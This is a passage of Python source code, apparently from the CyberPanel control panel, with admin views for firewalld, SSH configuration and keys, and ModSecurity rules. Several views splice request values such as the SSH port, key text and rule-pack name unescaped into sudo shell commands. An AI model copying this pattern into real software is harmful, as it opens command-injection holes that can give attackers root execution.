json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def startFirewall(self, userID = None, data = None):\n try:\n\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('start_status', 0)\n\n command = 'sudo systemctl start firewalld'\n res = ProcessUtilities.executioner(command)\n\n if res == 1:\n final_dic = {'start_status': 1, 'error_message': \"None\"}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n else:\n final_dic = {'start_status': 0,\n 'error_message': \"Can not start firewall, see CyberCP main log file.\"}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n except BaseException as msg:\n final_dic = {'start_status': 0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def stopFirewall(self, userID = None, data = None):\n try:\n\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('stop_status', 0)\n\n command = 'sudo systemctl stop firewalld'\n res = ProcessUtilities.executioner(command)\n\n if res == 1:\n final_dic = {'stop_status': 1, 'error_message': \"None\"}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n else:\n final_dic = {'stop_status': 0,\n 'error_message': \"Can not stop firewall, see CyberCP main log file.\"}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n except BaseException as msg:\n final_dic = {'stop_status': 0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def firewallStatus(self, userID = None, data = None):\n try:\n\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson()\n\n command = 'systemctl status firewalld'\n status = ProcessUtilities.outputExecutioner(command)\n\n if status.find(\"dead\") > -1:\n final_dic = {'status': 1, 'error_message': \"none\", 'firewallStatus': 0}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n else:\n final_dic = {'status': 1, 'error_message': \"none\", 'firewallStatus': 1}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n except BaseException as msg:\n final_dic = {'status': 0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def secureSSH(self, request = None, userID = None):\n try:\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadError()\n\n return render(request, 'firewall/secureSSH.html')\n except BaseException as msg:\n return HttpResponse(str(msg))\n\n def getSSHConfigs(self, userID = None, data = None):\n try:\n\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson()\n\n type = data['type']\n\n if type == \"1\":\n\n ## temporarily changing permission for sshd files\n\n pathToSSH = \"/etc/ssh/sshd_config\"\n\n cat = \"sudo cat \" + pathToSSH\n data = ProcessUtilities.outputExecutioner(cat).split('\\n')\n\n permitRootLogin = 0\n sshPort = \"22\"\n\n for items in data:\n if items.find(\"PermitRootLogin\") > -1:\n if items.find(\"Yes\") > -1 or items.find(\"yes\") > -1:\n permitRootLogin = 1\n continue\n if items.find(\"Port\") > -1 and not items.find(\"GatewayPorts\") > -1:\n sshPort = items.split(\" \")[1].strip(\"\\n\")\n\n final_dic = {'status': 1, 'permitRootLogin': permitRootLogin, 'sshPort': sshPort}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n else:\n\n pathToKeyFile = \"/root/.ssh/authorized_keys\"\n\n cat = \"sudo cat \" + pathToKeyFile\n data = ProcessUtilities.outputExecutioner(cat).split('\\n')\n\n json_data = \"[\"\n checker = 0\n\n for items in data:\n if items.find(\"ssh-rsa\") > -1:\n keydata = items.split(\" \")\n\n try:\n key = \"ssh-rsa \" + keydata[1][:50] + \" .. \" + keydata[2]\n try:\n userName = keydata[2][:keydata[2].index(\"@\")]\n except:\n userName = keydata[2]\n except:\n key = \"ssh-rsa \" + keydata[1][:50]\n userName = ''\n\n\n\n dic = {'userName': userName,\n 'key': key,\n }\n\n if checker == 0:\n json_data = json_data + json.dumps(dic)\n checker = 1\n else:\n json_data = json_data + ',' + json.dumps(dic)\n\n json_data = json_data + ']'\n\n final_json = json.dumps({'status': 1, 'error_message': \"None\", \"data\": json_data})\n return HttpResponse(final_json)\n\n except BaseException as msg:\n final_dic = {'status': 0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def saveSSHConfigs(self, userID = None, data = None):\n try:\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('saveStatus', 0)\n\n type = data['type']\n sshPort = data['sshPort']\n rootLogin = data['rootLogin']\n\n if rootLogin == True:\n rootLogin = \"1\"\n else:\n rootLogin = \"0\"\n\n execPath = \"/usr/local/CyberCP/bin/python \" + virtualHostUtilities.cyberPanel + \"/plogical/firewallUtilities.py\"\n execPath = execPath + \" saveSSHConfigs --type \" + str(type) + \" --sshPort \" + sshPort + \" --rootLogin \" + rootLogin\n\n output = ProcessUtilities.outputExecutioner(execPath)\n\n if output.find(\"1,None\") > -1:\n\n csfPath = '/etc/csf'\n\n if os.path.exists(csfPath):\n dataIn = {'protocol': 'TCP_IN', 'ports': sshPort}\n self.modifyPorts(dataIn)\n dataIn = {'protocol': 'TCP_OUT', 'ports': sshPort}\n self.modifyPorts(dataIn)\n else:\n try:\n updateFW = FirewallRules.objects.get(name=\"SSHCustom\")\n FirewallUtilities.deleteRule(\"tcp\", updateFW.port, \"0.0.0.0/0\")\n updateFW.port = sshPort\n updateFW.save()\n FirewallUtilities.addRule('tcp', sshPort, \"0.0.0.0/0\")\n except:\n try:\n newFireWallRule = FirewallRules(name=\"SSHCustom\", port=sshPort, proto=\"tcp\")\n newFireWallRule.save()\n FirewallUtilities.addRule('tcp', sshPort, \"0.0.0.0/0\")\n command = 'firewall-cmd --permanent --remove-service=ssh'\n ProcessUtilities.executioner(command)\n except BaseException as msg:\n logging.CyberCPLogFileWriter.writeToFile(str(msg))\n\n final_dic = {'status': 1, 'saveStatus': 1}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n else:\n final_dic = {'status': 0, 'saveStatus': 0, \"error_message\": output}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n except BaseException as msg:\n final_dic = {'status': 0 ,'saveStatus': 0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def deleteSSHKey(self, userID = None, data = None):\n try:\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('delete_status', 0)\n\n key = data['key']\n\n execPath = \"/usr/local/CyberCP/bin/python \" + virtualHostUtilities.cyberPanel + \"/plogical/firewallUtilities.py\"\n execPath = execPath + \" deleteSSHKey --key '\" + key + \"'\"\n\n output = ProcessUtilities.outputExecutioner(execPath)\n\n if output.find(\"1,None\") > -1:\n final_dic = {'status': 1, 'delete_status': 1}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n else:\n final_dic = {'status': 1, 'delete_status': 1, \"error_mssage\": output}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n except BaseException as msg:\n final_dic = {'status': 0, 'delete_status': 0, 'error_mssage': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def addSSHKey(self, userID = None, data = None):\n try:\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('add_status', 0)\n\n key = data['key']\n\n tempPath = \"/home/cyberpanel/\" + str(randint(1000, 9999))\n\n writeToFile = open(tempPath, \"w\")\n writeToFile.write(key)\n writeToFile.close()\n\n execPath = \"sudo /usr/local/CyberCP/bin/python \" + virtualHostUtilities.cyberPanel + \"/plogical/firewallUtilities.py\"\n execPath = execPath + \" addSSHKey --tempPath \" + tempPath\n\n output = ProcessUtilities.outputExecutioner(execPath)\n\n if output.find(\"1,None\") > -1:\n final_dic = {'status': 1, 'add_status': 1}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n else:\n final_dic = {'status': 0, 'add_status': 0, \"error_mssage\": output}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n except BaseException as msg:\n final_dic = {'status': 0, 'add_status': 0, 'error_mssage': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def loadModSecurityHome(self, request = None, userID = None):\n try:\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadError()\n\n if ProcessUtilities.decideServer() == ProcessUtilities.OLS:\n OLS = 1\n confPath = os.path.join(virtualHostUtilities.Server_root, \"conf/httpd_config.conf\")\n\n command = \"sudo cat \" + confPath\n httpdConfig = ProcessUtilities.outputExecutioner(command).splitlines()\n\n modSecInstalled = 0\n\n for items in httpdConfig:\n if items.find('module mod_security') > -1:\n modSecInstalled = 1\n break\n else:\n OLS = 0\n modSecInstalled = 1\n\n return render(request, 'firewall/modSecurity.html', {'modSecInstalled': modSecInstalled, 'OLS': OLS})\n except BaseException as msg:\n return HttpResponse(str(msg))\n\n def installModSec(self, userID = None, data = None):\n try:\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('installModSec', 0)\n\n execPath = \"/usr/local/CyberCP/bin/python \" + virtualHostUtilities.cyberPanel + \"/plogical/modSec.py\"\n execPath = execPath + \" installModSec\"\n\n ProcessUtilities.popenExecutioner(execPath)\n\n time.sleep(3)\n\n final_json = json.dumps({'installModSec': 1, 'error_message': \"None\"})\n return HttpResponse(final_json)\n\n except BaseException as msg:\n final_dic = {'installModSec': 0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def installStatusModSec(self, userID = None, data = None):\n try:\n\n command = \"sudo cat \" + modSec.installLogPath\n installStatus = ProcessUtilities.outputExecutioner(command)\n\n if installStatus.find(\"[200]\") > -1:\n\n execPath = \"/usr/local/CyberCP/bin/python \" + virtualHostUtilities.cyberPanel + \"/plogical/modSec.py\"\n\n execPath = execPath + \" installModSecConfigs\"\n\n output = ProcessUtilities.outputExecutioner(execPath)\n\n if output.find(\"1,None\") > -1:\n pass\n else:\n final_json = json.dumps({\n 'error_message': \"Failed to install ModSecurity configurations.\",\n 'requestStatus': installStatus,\n 'abort': 1,\n 'installed': 0,\n })\n return HttpResponse(final_json)\n\n final_json = json.dumps({\n 'error_message': \"None\",\n 'requestStatus': installStatus,\n 'abort': 1,\n 'installed': 1,\n })\n return HttpResponse(final_json)\n elif installStatus.find(\"[404]\") > -1:\n\n final_json = json.dumps({\n 'abort': 1,\n 'installed': 0,\n 'error_message': \"None\",\n 'requestStatus': installStatus,\n })\n return HttpResponse(final_json)\n\n else:\n final_json = json.dumps({\n 'abort': 0,\n 'error_message': \"None\",\n 'requestStatus': installStatus,\n })\n return HttpResponse(final_json)\n\n except BaseException as msg:\n final_dic = {'abort': 1, 'installed': 0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def fetchModSecSettings(self, userID = None, data = None):\n try:\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('fetchStatus', 0)\n\n if ProcessUtilities.decideServer() == ProcessUtilities.OLS:\n\n modsecurity = 0\n SecAuditEngine = 0\n SecRuleEngine = 0\n SecDebugLogLevel = \"9\"\n SecAuditLogRelevantStatus = '^(?:5|4(?!04))'\n SecAuditLogParts = 'ABIJDEFHZ'\n SecAuditLogType = 'Serial'\n\n confPath = os.path.join(virtualHostUtilities.Server_root, 'conf/httpd_config.conf')\n modSecPath = os.path.join(virtualHostUtilities.Server_root, 'modules', 'mod_security.so')\n\n if os.path.exists(modSecPath):\n command = \"sudo cat \" + confPath\n data = ProcessUtilities.outputExecutioner(command).split('\\n')\n\n for items in data:\n\n if items.find('modsecurity ') > -1:\n if items.find('on') > -1 or items.find('On') > -1:\n modsecurity = 1\n continue\n if items.find('SecAuditEngine ') > -1:\n if items.find('on') > -1 or items.find('On') > -1:\n SecAuditEngine = 1\n continue\n\n if items.find('SecRuleEngine ') > -1:\n if items.find('on') > -1 or items.find('On') > -1:\n SecRuleEngine = 1\n continue\n\n if items.find('SecDebugLogLevel') > -1:\n result = items.split(' ')\n if result[0] == 'SecDebugLogLevel':\n SecDebugLogLevel = result[1]\n continue\n if items.find('SecAuditLogRelevantStatus') > -1:\n result = items.split(' ')\n if result[0] == 'SecAuditLogRelevantStatus':\n SecAuditLogRelevantStatus = result[1]\n continue\n if items.find('SecAuditLogParts') > -1:\n result = items.split(' ')\n if result[0] == 'SecAuditLogParts':\n SecAuditLogParts = result[1]\n continue\n if items.find('SecAuditLogType') > -1:\n result = items.split(' ')\n if result[0] == 'SecAuditLogType':\n SecAuditLogType = result[1]\n continue\n\n final_dic = {'fetchStatus': 1,\n 'installed': 1,\n 'SecRuleEngine': SecRuleEngine,\n 'modsecurity': modsecurity,\n 'SecAuditEngine': SecAuditEngine,\n 'SecDebugLogLevel': SecDebugLogLevel,\n 'SecAuditLogParts': SecAuditLogParts,\n 'SecAuditLogRelevantStatus': SecAuditLogRelevantStatus,\n 'SecAuditLogType': SecAuditLogType,\n }\n\n else:\n final_dic = {'fetchStatus': 1,\n 'installed': 0}\n else:\n SecAuditEngine = 0\n SecRuleEngine = 0\n SecDebugLogLevel = \"9\"\n SecAuditLogRelevantStatus = '^(?:5|4(?!04))'\n SecAuditLogParts = 'ABIJDEFHZ'\n SecAuditLogType = 'Serial'\n\n confPath = os.path.join(virtualHostUtilities.Server_root, 'conf/modsec.conf')\n\n command = \"sudo cat \" + confPath\n\n data = ProcessUtilities.outputExecutioner(command).split('\\n')\n\n for items in data:\n if items.find('SecAuditEngine ') > -1:\n if items.find('on') > -1 or items.find('On') > -1:\n SecAuditEngine = 1\n continue\n\n if items.find('SecRuleEngine ') > -1:\n if items.find('on') > -1 or items.find('On') > -1:\n SecRuleEngine = 1\n continue\n\n if items.find('SecDebugLogLevel') > -1:\n result = items.split(' ')\n if result[0] == 'SecDebugLogLevel':\n SecDebugLogLevel = result[1]\n continue\n if items.find('SecAuditLogRelevantStatus') > -1:\n result = items.split(' ')\n if result[0] == 'SecAuditLogRelevantStatus':\n SecAuditLogRelevantStatus = result[1]\n continue\n if items.find('SecAuditLogParts') > -1:\n result = items.split(' ')\n if result[0] == 'SecAuditLogParts':\n SecAuditLogParts = result[1]\n continue\n if items.find('SecAuditLogType') > -1:\n result = items.split(' ')\n if result[0] == 'SecAuditLogType':\n SecAuditLogType = result[1]\n continue\n\n final_dic = {'fetchStatus': 1,\n 'installed': 1,\n 'SecRuleEngine': SecRuleEngine,\n 'SecAuditEngine': SecAuditEngine,\n 'SecDebugLogLevel': SecDebugLogLevel,\n 'SecAuditLogParts': SecAuditLogParts,\n 'SecAuditLogRelevantStatus': SecAuditLogRelevantStatus,\n 'SecAuditLogType': SecAuditLogType,\n }\n\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n except BaseException as msg:\n final_dic = {'fetchStatus': 0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def saveModSecConfigurations(self, userID = None, data = None):\n try:\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('saveStatus', 0)\n\n if ProcessUtilities.decideServer() == ProcessUtilities.OLS:\n\n modsecurity = data['modsecurity_status']\n SecAuditEngine = data['SecAuditEngine']\n SecRuleEngine = data['SecRuleEngine']\n SecDebugLogLevel = data['SecDebugLogLevel']\n SecAuditLogParts = data['SecAuditLogParts']\n SecAuditLogRelevantStatus = data['SecAuditLogRelevantStatus']\n SecAuditLogType = data['SecAuditLogType']\n\n if modsecurity == True:\n modsecurity = \"modsecurity on\"\n else:\n modsecurity = \"modsecurity off\"\n\n if SecAuditEngine == True:\n SecAuditEngine = \"SecAuditEngine on\"\n else:\n SecAuditEngine = \"SecAuditEngine off\"\n\n if SecRuleEngine == True:\n SecRuleEngine = \"SecRuleEngine On\"\n else:\n SecRuleEngine = \"SecRuleEngine off\"\n\n SecDebugLogLevel = \"SecDebugLogLevel \" + str(SecDebugLogLevel)\n SecAuditLogParts = \"SecAuditLogParts \" + str(SecAuditLogParts)\n SecAuditLogRelevantStatus = \"SecAuditLogRelevantStatus \" + SecAuditLogRelevantStatus\n SecAuditLogType = \"SecAuditLogType \" + SecAuditLogType\n\n ## writing data temporary to file\n\n\n tempConfigPath = \"/home/cyberpanel/\" + str(randint(1000, 9999))\n\n confPath = open(tempConfigPath, \"w\")\n\n confPath.writelines(modsecurity + \"\\n\")\n confPath.writelines(SecAuditEngine + \"\\n\")\n confPath.writelines(SecRuleEngine + \"\\n\")\n confPath.writelines(SecDebugLogLevel + \"\\n\")\n confPath.writelines(SecAuditLogParts + \"\\n\")\n confPath.writelines(SecAuditLogRelevantStatus + \"\\n\")\n confPath.writelines(SecAuditLogType + \"\\n\")\n\n confPath.close()\n\n ## save configuration data\n\n execPath = \"/usr/local/CyberCP/bin/python \" + virtualHostUtilities.cyberPanel + \"/plogical/modSec.py\"\n\n execPath = execPath + \" saveModSecConfigs --tempConfigPath \" + tempConfigPath\n\n output = ProcessUtilities.outputExecutioner(execPath)\n\n if output.find(\"1,None\") > -1:\n data_ret = {'saveStatus': 1, 'error_message': \"None\"}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n else:\n data_ret = {'saveStatus': 0, 'error_message': output}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n else:\n SecAuditEngine = data['SecAuditEngine']\n SecRuleEngine = data['SecRuleEngine']\n SecDebugLogLevel = data['SecDebugLogLevel']\n SecAuditLogParts = data['SecAuditLogParts']\n SecAuditLogRelevantStatus = data['SecAuditLogRelevantStatus']\n SecAuditLogType = data['SecAuditLogType']\n\n if SecAuditEngine == True:\n SecAuditEngine = \"SecAuditEngine on\"\n else:\n SecAuditEngine = \"SecAuditEngine off\"\n\n if SecRuleEngine == True:\n SecRuleEngine = \"SecRuleEngine On\"\n else:\n SecRuleEngine = \"SecRuleEngine off\"\n\n SecDebugLogLevel = \"SecDebugLogLevel \" + str(SecDebugLogLevel)\n SecAuditLogParts = \"SecAuditLogParts \" + str(SecAuditLogParts)\n SecAuditLogRelevantStatus = \"SecAuditLogRelevantStatus \" + SecAuditLogRelevantStatus\n SecAuditLogType = \"SecAuditLogType \" + SecAuditLogType\n\n ## writing data temporary to file\n\n\n tempConfigPath = \"/home/cyberpanel/\" + str(randint(1000, 9999))\n\n confPath = open(tempConfigPath, \"w\")\n\n confPath.writelines(SecAuditEngine + \"\\n\")\n confPath.writelines(SecRuleEngine + \"\\n\")\n confPath.writelines(SecDebugLogLevel + \"\\n\")\n confPath.writelines(SecAuditLogParts + \"\\n\")\n confPath.writelines(SecAuditLogRelevantStatus + \"\\n\")\n confPath.writelines(SecAuditLogType + \"\\n\")\n\n confPath.close()\n\n ## save configuration data\n\n execPath = \"/usr/local/CyberCP/bin/python \" + virtualHostUtilities.cyberPanel + \"/plogical/modSec.py\"\n\n execPath = execPath + \" saveModSecConfigs --tempConfigPath \" + tempConfigPath\n\n output = ProcessUtilities.outputExecutioner(execPath)\n\n if output.find(\"1,None\") > -1:\n data_ret = {'saveStatus': 1, 'error_message': \"None\"}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n else:\n data_ret = {'saveStatus': 0, 'error_message': output}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n\n except BaseException as msg:\n data_ret = {'saveStatus': 0, 'error_message': str(msg)}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n\n def modSecRules(self, request = None, userID = None):\n try:\n\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadError()\n\n if ProcessUtilities.decideServer() == ProcessUtilities.OLS:\n confPath = os.path.join(virtualHostUtilities.Server_root, \"conf/httpd_config.conf\")\n\n command = \"sudo cat \" + confPath\n httpdConfig = ProcessUtilities.outputExecutioner(command).split('\\n')\n\n modSecInstalled = 0\n\n for items in httpdConfig:\n if items.find('module mod_security') > -1:\n modSecInstalled = 1\n break\n else:\n modSecInstalled = 1\n\n return render(request, 'firewall/modSecurityRules.html', {'modSecInstalled': modSecInstalled})\n\n except BaseException as msg:\n return HttpResponse(str(msg))\n\n def fetchModSecRules(self, userID = None, data = None):\n try:\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('modSecInstalled', 0)\n\n if ProcessUtilities.decideServer() == ProcessUtilities.OLS:\n\n confPath = os.path.join(virtualHostUtilities.Server_root, \"conf/httpd_config.conf\")\n\n command = \"sudo cat \" + confPath\n httpdConfig = ProcessUtilities.outputExecutioner(command).split('\\n')\n\n modSecInstalled = 0\n\n for items in httpdConfig:\n if items.find('module mod_security') > -1:\n modSecInstalled = 1\n break\n\n rulesPath = os.path.join(virtualHostUtilities.Server_root + \"/conf/modsec/rules.conf\")\n\n if modSecInstalled:\n command = \"sudo cat \" + rulesPath\n currentModSecRules = ProcessUtilities.outputExecutioner(command).split('\\n')\n\n final_dic = {'modSecInstalled': 1,\n 'currentModSecRules': currentModSecRules}\n\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n else:\n final_dic = {'modSecInstalled': 0}\n\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n else:\n rulesPath = os.path.join(virtualHostUtilities.Server_root + \"/conf/rules.conf\")\n\n command = \"sudo cat \" + rulesPath\n currentModSecRules = ProcessUtilities.outputExecutioner(command).split('\\n')\n\n final_dic = {'modSecInstalled': 1,\n 'currentModSecRules': currentModSecRules}\n\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n except BaseException as msg:\n final_dic = {'modSecInstalled': 0,\n 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def saveModSecRules(self, userID = None, data = None):\n try:\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('saveStatus', 0)\n\n newModSecRules = data['modSecRules']\n\n ## writing data temporary to file\n\n rulesPath = open(modSec.tempRulesFile, \"w\")\n rulesPath.write(newModSecRules)\n rulesPath.close()\n\n ## save configuration data\n\n execPath = \"/usr/local/CyberCP/bin/python \" + virtualHostUtilities.cyberPanel + \"/plogical/modSec.py\"\n execPath = execPath + \" saveModSecRules\"\n output = ProcessUtilities.outputExecutioner(execPath)\n\n if output.find(\"1,None\") > -1:\n data_ret = {'saveStatus': 1, 'error_message': \"None\"}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n else:\n data_ret = {'saveStatus': 0, 'error_message': output}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n\n except BaseException as msg:\n data_ret = {'saveStatus': 0, 'error_message': str(msg)}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n\n def modSecRulesPacks(self, request = None, userID = None):\n try:\n\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadError()\n\n if ProcessUtilities.decideServer() == ProcessUtilities.OLS:\n\n confPath = os.path.join(virtualHostUtilities.Server_root, \"conf/httpd_config.conf\")\n\n command = \"sudo cat \" + confPath\n httpdConfig = ProcessUtilities.outputExecutioner(command).split('\\n')\n\n modSecInstalled = 0\n\n for items in httpdConfig:\n if items.find('module mod_security') > -1:\n modSecInstalled = 1\n break\n else:\n modSecInstalled = 1\n\n return render(request, 'firewall/modSecurityRulesPacks.html', {'modSecInstalled': modSecInstalled})\n\n except BaseException as msg:\n return HttpResponse(msg)\n\n def getOWASPAndComodoStatus(self, userID = None, data = None):\n try:\n\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('modSecInstalled', 0)\n\n if ProcessUtilities.decideServer() == ProcessUtilities.OLS:\n confPath = os.path.join(virtualHostUtilities.Server_root, \"conf/httpd_config.conf\")\n\n command = \"sudo cat \" + confPath\n httpdConfig = ProcessUtilities.outputExecutioner(command).splitlines()\n\n modSecInstalled = 0\n\n for items in httpdConfig:\n if items.find('module mod_security') > -1:\n modSecInstalled = 1\n break\n\n comodoInstalled = 0\n owaspInstalled = 0\n\n if modSecInstalled:\n command = \"sudo cat \" + confPath\n httpdConfig = ProcessUtilities.outputExecutioner(command).splitlines()\n\n for items in httpdConfig:\n\n if items.find('modsec/comodo') > -1:\n comodoInstalled = 1\n elif items.find('modsec/owasp') > -1:\n owaspInstalled = 1\n\n if owaspInstalled == 1 and comodoInstalled == 1:\n break\n\n final_dic = {\n 'modSecInstalled': 1,\n 'owaspInstalled': owaspInstalled,\n 'comodoInstalled': comodoInstalled\n }\n\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n else:\n final_dic = {'modSecInstalled': 0}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n else:\n comodoInstalled = 0\n owaspInstalled = 0\n\n try:\n command = 'sudo ls /usr/local/lsws/conf/comodo_litespeed/'\n output = ProcessUtilities.outputExecutioner(command)\n\n if output.find('No such') > -1:\n comodoInstalled = 0\n else:\n comodoInstalled = 1\n\n except subprocess.CalledProcessError:\n pass\n\n final_dic = {\n 'modSecInstalled': 1,\n 'owaspInstalled': owaspInstalled,\n 'comodoInstalled': comodoInstalled\n }\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n except BaseException as msg:\n final_dic = {'modSecInstalled': 0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def installModSecRulesPack(self, userID = None, data = None):\n try:\n\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('installStatus', 0)\n\n packName = data['packName']\n\n if ProcessUtilities.decideServer() == ProcessUtilities.OLS:\n\n execPath = \"/usr/local/CyberCP/bin/python \" + virtualHostUtilities.cyberPanel + \"/plogical/modSec.py\"\n execPath = execPath + \" \" + packName\n\n output = ProcessUtilities.outputExecutioner(execPath)\n\n if output.find(\"1,None\") > -1:\n data_ret = {'installStatus': 1, 'error_message': \"None\"}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n else:\n data_ret = {'installStatus': 0, 'error_message': output}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n else:\n if packName == 'disableOWASP' or packName == 'installOWASP':\n final_json = json.dumps({'installStatus': 0, 'error_message': \"OWASP will be available later.\", })\n return HttpResponse(final_json)\n\n execPath = \"/usr/local/CyberCP/bin/python \" + virtualHostUtilities.cyberPanel + \"/plogical/modSec.py\"\n execPath = execPath + \" \" + packName\n output = ProcessUtilities.outputExecutioner(execPath)\n\n if output.find(\"1,None\") > -1:\n data_ret = {'installStatus': 1, 'error_message': \"None\"}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n else:\n data_ret = {'installStatus': 0, 'error_message': output}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n\n except BaseException as msg:\n data_ret = {'installStatus': 0, 'error_message': str(msg)}\n json_data = json.dumps(data_ret)\n return HttpResponse(json_data)\n\n def getRulesFiles(self, userID = None, data = None):\n try:\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('fetchStatus', 0)\n\n packName = data['packName']\n\n if ProcessUtilities.decideServer() == ProcessUtilities.OLS:\n confPath = os.path.join(virtualHostUtilities.Server_root, 'conf/httpd_config.conf')\n\n command = \"sudo cat \" + confPath\n httpdConfig = ProcessUtilities.outputExecutioner(command).splitlines()\n\n json_data = \"[\"\n checker = 0\n counter = 0\n\n for items in httpdConfig:\n\n if items.find('modsec/' + packName) > -1:\n counter = counter + 1\n if items[0] == '#':\n status = False\n else:\n status = True\n\n fileName = items.lstrip('#')\n fileName = fileName.split('/')[-1]\n\n dic = {\n 'id': counter,\n 'fileName': fileName,\n 'packName': packName,\n 'status': status,\n\n }\n\n if checker == 0:\n json_data = json_data + json.dumps(dic)\n checker = 1\n else:\n json_data = json_data + ',' + json.dumps(dic)\n\n json_data = json_data + ']'\n final_json = json.dumps({'fetchStatus': 1, 'error_message': \"None\", \"data\": json_data})\n return HttpResponse(final_json)\n else:\n if packName == 'owasp':\n final_json = json.dumps({'fetchStatus': 0, 'error_message': \"OWASP will be available later.\", })\n return HttpResponse(final_json)\n\n comodoPath = '/usr/local/lsws/conf/comodo_litespeed'\n command = 'sudo chown -R cyberpanel:cyberpanel /usr/local/lsws/conf'\n ProcessUtilities.executioner(command)\n\n json_data = \"[\"\n\n counter = 0\n checker = 0\n for fileName in os.listdir(comodoPath):\n\n if fileName == 'categories.conf':\n continue\n\n if fileName.endswith('bak'):\n status = 0\n fileName = fileName.rstrip('.bak')\n elif fileName.endswith('conf'):\n status = 1\n else:\n continue\n\n dic = {\n 'id': counter,\n 'fileName': fileName,\n 'packName': packName,\n 'status': status,\n\n }\n\n counter = counter + 1\n\n if checker == 0:\n json_data = json_data + json.dumps(dic)\n checker = 1\n else:\n json_data = json_data + ',' + json.dumps(dic)\n\n command = 'sudo chown -R lsadm:lsadm /usr/local/lsws/conf'\n ProcessUtilities.executioner(command)\n\n json_data = json_data + ']'\n final_json = json.dumps({'fetchStatus': 1, 'error_message': \"None\", \"data\": json_data})\n return HttpResponse(final_json)\n\n except BaseException as 